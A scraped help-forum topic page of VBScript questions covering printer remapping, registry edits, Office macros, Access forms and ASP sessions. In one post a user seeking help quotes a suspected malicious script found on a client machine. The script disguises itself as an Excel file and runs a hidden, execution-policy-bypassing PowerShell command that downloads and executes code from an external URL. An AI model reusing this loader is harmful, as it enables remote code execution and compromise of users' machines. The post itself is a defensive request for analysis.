VB Script





VBScript (Visual Basic Scripting Edition) is an interpreted scripting language developed by Microsoft that is modeled on Visual Basic, but with some important differences. VBScript is commonly used for automating administrative and other tasks in Windows operating systems (by means of the Windows Script Host) and for server-side scripting in ASP web applications. It is also used for client-side scripting in Internet Explorer, specifically in intranet web applications.

Share tech news, updates, or what's on your mind.

Sign up to Post

Hi Experts,
I have this question after solving the following..
In that question I got a script how to count all records of files in one folder.
However now I need to know from that count how many are under one specific category.
Therefore I thought the best way would be to concatenate all files into one, just ignoring the headers.
And from there I will link to MS Access and get the results from a query.
Anyone has either a script for that or another way to accomplish the task?
Thanks in advance.
Cloud Class® Course: Microsoft Office 2010
LVL 12
Cloud Class® Course: Microsoft Office 2010

This course will introduce you to the interfaces and features of Microsoft Office 2010 Word, Excel, PowerPoint, Outlook, and Access. You will learn about the features that are shared between all products in the Office suite, as well as the new features that are product specific.

Need a Visual Studio VB script to modify SAPI (5.4) to recognize words such as 'gimmie' in place of 'give me', or 'myname' in place of 'my name'.
I know SAPI provides for this capability; however I am a tcl\tk programmer.

Please advise.

We are trying to deploy a product with SCCM that requires a registry entry in HKEY_CURRENT_USER for the logged on user.   Yes - it is ridiculous that we can't install this product for "system" but oh well.  In SCCM I can set to ensure that the application only installs when the user is logged so there is that good news but...

From within a script, I need to find out who the currently logged on user is and then add a registry entry to that user's HKEY_CURRENT _USER.


I'm half way there with a vbscript.  I was able to find the following script in another post which finds the currently logged on user.  The problem I'm having now is I'm not sure how to run "regedit /s "updateregentry.reg"" and put the entry in that user's hive.

Any help would be appreciated.  Below is the vbscript.

Option Explicit
Dim WSHShell, RegKey, Username
Set WSHShell = CreateObject("WScript.Shell")
RegKey = "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\"
Username = WSHShell.RegRead(RegKey & "LastLoggedOnSAMUser")
Username = Mid(Username,7)
WScript.echo Username

Also - these are the registry entries I'm trying to add:



Hello, the company has a custom MS Word Macro. I copied the macro from one computer. I saved it to another computer specifically to %Appdata%/Microsoft/word/startup. When I try to run the macro, I got message "run-time error '91':  object variable or with block variable not set. I appreciate your reply :)

I notice I can't open the VBS editor as well from MS Word.

If ever this successfully run, how can I add this custom macro into button at MS Word.
Hi Experts,

I want reformat a large word document (1000 pages) so that, wherever in the document the blue text ( as shown in the attachment) is discovered it converts it to a table

The text color should remain as the original, in the document before reformatting.
The font should be as the table
The items next to the blue text differs and should be the second column of the table. The table will be 2 columns and 7 rows.

I have tried to do this, using a macro, which logically i can see is possible but  I am failing...  I would really appreciate your help - Thank you in advance
I like to know more about excel sheet.
I have microsoft excel sheet with macro function and now i need to move this excel into google but by macro function not working on that.
Can you please help me to solve this ?
I need a batch file to install a Window update on a remote machine. I need to have it check if its online, if its not exit out with an error, if its online look for C:\Temp, if its not there create it. Then copy over the file to C:\Temp and run the file using psexec.exe.

The reason why we are doing it this way is because SCCM is not working for us and NO we cannot use other deployment software. I am however allowed to use a batch file or script.
Hi guys
can anyone help with this one?
I need a vbs to add a printer from a new server if the printer is mapped on the computer from the old server.
Basically, I have "server1" that is being replaced with "server2" and all the printers need to be moved. If the user has \\server1\printer1 mapped I need it to map \\server2\printer1. If the user doesn't have \\server1\printer1 mapped then do nothing.
I need to do this for about 28 printers all from "server1" to "server2"
I would like it to check the reg key "HKEY_CURRENT_USER\Printers\Connections\" to see if the printer is mapped.

I already have it changing the default printers and removing the old printers below which is looking at the default printer, adding the new name and changing the default to this new name.
But how can I get it to look at the other printers and add them if they are mapped?

dim defaultprn
Set WshShell = CreateObject("WScript.Shell")
Set objNetwork = CreateObject("WScript.Network")
'store current default printer
defaultprn = WshShell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Device")
arrPrnStr = Split(defaultprn,",")
fullPrinterString = arrPrnStr(0)
If Left(fullPrinterString,2) = "\\" Then
    arrFullPrnStr = Split(fullPrinterString,"\")
    shortPrinterName= arrFullPrnStr(Ubound(arrFullPrnStr))
Hello experts,

I use the following command to create folder structure (subfolders) without files from one folder to another

Robocopy C:\Reference C:\FolderToApplyStructure /e /xp

Open in new window

The problem of this command is that it drill down the various folders to the last levels and I would like to omit drill down sub folder creation for specific folders.

The idea is to use the same command with a Flag DrillDownOff in which I report the name of the folder.

Example C:\Reference\Level1 contains multiple folders toto titi etc..

If DrillDownOff = “titi”

This means that subfolders of titi folder will not be created.
DrillDownOff should accept multiple folders name.
If reported folders in DrillDownOff exists in multiple locations it should be applied for all of them.

If you have questions, please contact me.
Automatically deactivate Office 365 ProPlus for several thousand users.

I am performing an Office 365 tenant to tenant migration.  I noticed the usual methods to forceably deactivate office at the client level, no longer work:


Certainly, we could allow each user's 30-days to expire and then each user could authenticate to the new tenant with their existing install of Office 365 ProPlus - though that would be extremely unstructured and occur fairly randomly for each user.

Any ideas?

Thank you.
Cloud Class® Course: MCSA MCSE Windows Server 2012
LVL 12
Cloud Class® Course: MCSA MCSE Windows Server 2012

This course teaches how to install and configure Windows Server 2012 R2.  It is the first step on your path to becoming a Microsoft Certified Solutions Expert (MCSE).

Hi Experts,

I have following code to convert from characters into signatures.
  Dim str As String
  str = "{" & """values""" & ":" & Me.Signature & "}"  

        Dim Json As Dictionary
        Set Json = JsonConverter.ParseJson(str)
        Dim Values As Variant
        Dim Value As Dictionary
        If Len(Signature & "") > 1000 Then
            Me.ScaleMode = 3
            Me.LabelPatientSignature.FontSize = 8
            Me.ScaleMode = 1
            Me.LabelPatientSignature.FontSize = 7
        End If
 'If Len(Me.Signature) < 200 Then Me.DrawWidth = 5
        For Each Value In Json("values")
        If Len(Signature) > 100 Then
            Me.Line (1200 + Value("lx"), Value("ly"))-(1200 + Value("mx"), Value("my")), vbBlack
            Me.Line (1200 + Value("lx"), Value("ly") - 5)-(1200 + Value("mx") + 10, Value("my") + 5), vbBlack, BF
        End If
         'Me.Line (1200 + Value("lx"), Value("ly") - 5)-(4000, Value("my") + 5), vbBlack, BF
'Me.Line (1200 + Value("lx") - 5, Value("ly") - 2)-(1200 + Value("mx") + 5, Value("my") + 2), vbRed
        Next Value

Open in new window

So for example the code would take the following, stored in signature field

Open in new window

We believe a client has been hacked but can't determine what the vb script is doing to the data, it doesn't look like ransomware.
can you help point us in a direction to what degree this hack could be.

below is the vbscript and a picture of a folder it has been found in. you will see that actual excel doc has been hidden and a fake excel doc in it's place. it looks like when the fake excel doc is run, it opens up the vbscript and the hidden excel doc

Set fso = CreateObject("Scripting.FileSystemObject")
Set shl = CreateObject("WScript.Shell")
Set shp = CreateObject("WScript.Shell")
exists = fso.FolderExists(path)
Set objFile = fso.GetFile(Wscript.ScriptFullName)
rr = fso.GetParentFolderName(objFile)+"\Project 8192 LNG STS System Certification Log.xlsx"
if (exists) then
shl.Run("explorer.exe "+rr+"")
shl.Run("explorer.exe "+rr+"")
shp.Run "powershell.exe  -windowstyle hidden -executionpolicy bypass -command iex((nEw-ObJect ('NEt.WeBclient')).('DowNLoAdStrInG').invoKe(('https://cflfuppn.eu/sload/2.0/netF.ps1')))",0,True
Set shp = Nothing
end if
Function GetUUID(strComputer)
Dim objWmi, colItems, objItem, strUUID, blnValidUUID
Set objWmi = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWmi.ExecQuery("Select * from Win32_ComputerSystemProduct")
strUUID = ""
blnValidUUID = False
For Each objItem in colItems
strUUID = objItem.UUID
If Not …
I'm printing a set of docs in a folder ~ I want to print it to the filesystem, basically an adjacent directory.

I actually have everything I need, except printing it to the file system as opposed to printer output.

I'm using process.startinfo method of course ~

any ideas where i may be able to look to, or even better, any suggestions?
I have a databound grideview where I want to color-code the cells in my aspx.vb back end, based on criteria... I started with:

If IsDBNull(DataBinder.Eval(e.Row.DataItem, "SwitchPort1")) = True Then
            e.Row.Cells(3).ForeColor = Drawing.Color.Black

            e.Row.Cells(3).BackColor = Drawing.Color.Green

End If


This worked, so then I decided to add some ElseIf's to it and now have it look at the difference between NullOrEmpty, but cannot get the syntax right. There are several examples, but for whatever reason, I am not getting past the first "If", nothing else is being evaluated. I test the database values to force a change in the cell color, and cannot make the cells do anything but White with Black Text (if db is null) OR Green Background (Else). Can anyone help me figure out what I am doing wrong? "Guest" is a specific value, for which I want to search, and if present - a specific color.

If (e.Row.RowType <> DataControlRowType.DataRow) Then
            Exit Sub
        End If
        If IsDBNull(DataBinder.Eval(e.Row.DataItem, "SwitchPort1")) = True Then
            e.Row.Cells(3).ForeColor = Drawing.Color.Black
        ElseIf Len(DataBinder.Eval(e.Row.DataItem, "SwitchPort1")) = 0 Then
            e.Row.Cells(3).BackColor = Drawing.Color.Black
        ElseIf DataBinder.Eval(e.Row.DataItem, "SwitchPort1") = "" Then
            e.Row.Cells(3).BackColor = Drawing.Color.Blue
        ElseIf DataBinder.Eval(e.Row.DataItem, …

i'm searching for a way to sort the Outlook addressbookfolders in the "more contacts" section of the Outlook contacts.
Is there a tool or script to do that?
I would be fine with VB ,too.
I already tried to figure out how to address this objects with VB but i didn't find anything.

Regards JoNNy
I am trying to create a task (in task scheduler) to execute a vbscript file. Task Scheduler successfully completed but the vbs script is not creating task file. But when I manually run the .vbs task file is create.

@echo off
cscript //nologo c:\xxxx.vbs

Task Scheduler successfully completed task "\xxxx" , instance
"{355a1874-adfa-499d-bee7-25e3d4e2b7db}" , action
 "C:\Windows\System32\cscript.exe" with return code 0.

I need some help to solve a problem with creating a new record.
i have uploaded my project in both 2016 and 2003 version of access!

to find the place i want help finding a solution to you go to:
1. open form "selectprofile_frm"
2. then doubleclick on a name in the listbox
3. go to tab "Kontrakt"
4. here you see a listbox and a button and some textboxes. when i click the button, i want to create a new record in table "contract_tbl".

I have setup things like this
Form selectprofile_frm is where i select what staff member i want to work on.
then i double click and open the proifle in form "profile_frm".
here i view data and update and add new. so far i have only come to create the "kontrakt" tab.
Under the contract tab there is a listbox and a subform.
Subform goes to "contract_frm" that display the contract information.
listbox is just to select what contract to display.

but now i want to add the feature of adding a new contract.
i get it to work just fine when not using the subform... but i want to do it in the subform.
how can this be done?

let me know if i should post screenshots or anything else.

hope someone can help
How to consolidate please all repport mbsa to one report

found this link to convert to xml and xls files but not my needs


I'm not expert for Scripting



Appréciate your helps :)

I need to write this code in global.asa. GetLastDateandTime is working fine. I need to put that in the session. If user is present then we get the data from the database. This function is working fine. If user is not present then we are using update function. My update function is not working. Page is down. I am not sure how to fix the update function.

Sub S[b]ession_OnStart[/b]

Dim objConn, objRs, strConn

Set objRs = Server.CreateObject("ADODB.Recordset")

Set objConn = Server.CreateObject("ADODB.Connection")                                                                                     


strConn = "test;"


objConn.Open strConn

dim strUser

strUser = request.servervariables("logon_user")

dim strDateAndTime = Now()       

If (strUser <> "" ) then

    Session("LastDateTime") = GetLastDateandTime(strUser, objRs,objConn)

   UpdateLastDateAndTime(strUser, strDateAndTime, objRs,objConn);[/b]

End If


Set objRs = Nothing

Set objConn = Nothing

End If


End Sub



Function GetLastDateandTime( ByVal strUser, ByRef objRs, ByRef objConn)



    Dim cmd


       Set cmd = Server.CreateObject("ADODB.Command")                            

       Set cmd.ActiveConnection = objConn


       cmd.CommandText = "usp_GetLastDateandTime"


Open in new window

Cloud Class® Course: Microsoft Azure 2017
LVL 12
Cloud Class® Course: Microsoft Azure 2017

Azure has a changed a lot since it was originally introduce by adding new services and features. Do you know everything you need to about Azure? This course will teach you about the Azure App Service, monitoring and application insights, DevOps, and Team Services.

I created a windows forms application using visual studio 2015.  My app connects to a SQLSERVER (SQLEXPRESS).
I Publish the app by creating a shortcut to the release bin directory on a network drive.  All was working well but recently I started
getting the following error on some computers.

 A network-related or instance-specific error occurred while establishing a connection to SQL Server.
The Server was not found or was not accessible. Verify that the instance name is correct and  tat SQL Server is configured to allow remote connections.
(provider: TCP Provider, error: 0 - An invalid argument was supplied.)

I use a static connection string, and it is working on some computers.  I Published the app to a network drive, and it ran ok.  I am not sure what the publishing does,
but I would rather just run it from the bin directory.
Error: ActiveX cannot create object (800A01AD)

Creation of a shell object is blocked on some of the systems managed by a third party that are under my control.  I've attempted to automate some scripting in VBS and in PowerShell (see snippets below) that works just fine in win7 and win10.  The snippets are geared at logging the URL or Title of any website in any active ie11 window and continue logging (date / time and URL) until all instances of ie11 are closed.

The scripting works just fine on my test environment, other systems under my control that are not managed by third parties, and every where i can test it. The wording, spelling, grammar, etc are all correct so there is a security setting on the system that is prohibiting the use of objShell.windows.  Under VBS, it gives the error message above and in Powershell, it says object not registered.  Both scripts error out on the last line of the snippet. The remainder would work but something is blocking the creation of "windows" object.

Any input would be appreciated.  I have a security flaw in internet explorer that i need to cover by logging URLs and cannot use third party software or complex coding (long story). To note: this is being deployed in win32 instances of win7. i have test ran this with win32 and win64 versions of cscript and it works fine in the test environment. But on those systems managed by the third party, it's only win32 instance.  


dim objShell
dim objShellWindows
dim fileStr, …
Hello I am looking for the script to activate my access code to run at particular time each day.  Please help me the different ways to achieve this.


I have csv file which gets generated into my network drive automatically everyday. I want to convert the CSV file to an XLSX file delimited with ; and sort the data based on one column i.e., Name to either different sheets or different files. Is it possible to get a VB Script to perform the above process?
Hi Experts,
Looking for a script that gives me all large files created on the server in the past 10 days..
should return file name, date created, size of file, user created.
Thanks in advance.
connected to Linux Device over Putty using serial communication and would like read a file in Linux using VB Script

VB Script





VBScript (Visual Basic Scripting Edition) is an interpreted scripting language developed by Microsoft that is modeled on Visual Basic, but with some important differences. VBScript is commonly used for automating administrative and other tasks in Windows operating systems (by means of the Windows Script Host) and for server-side scripting in ASP web applications. It is also used for client-side scripting in Internet Explorer, specifically in intranet web applications.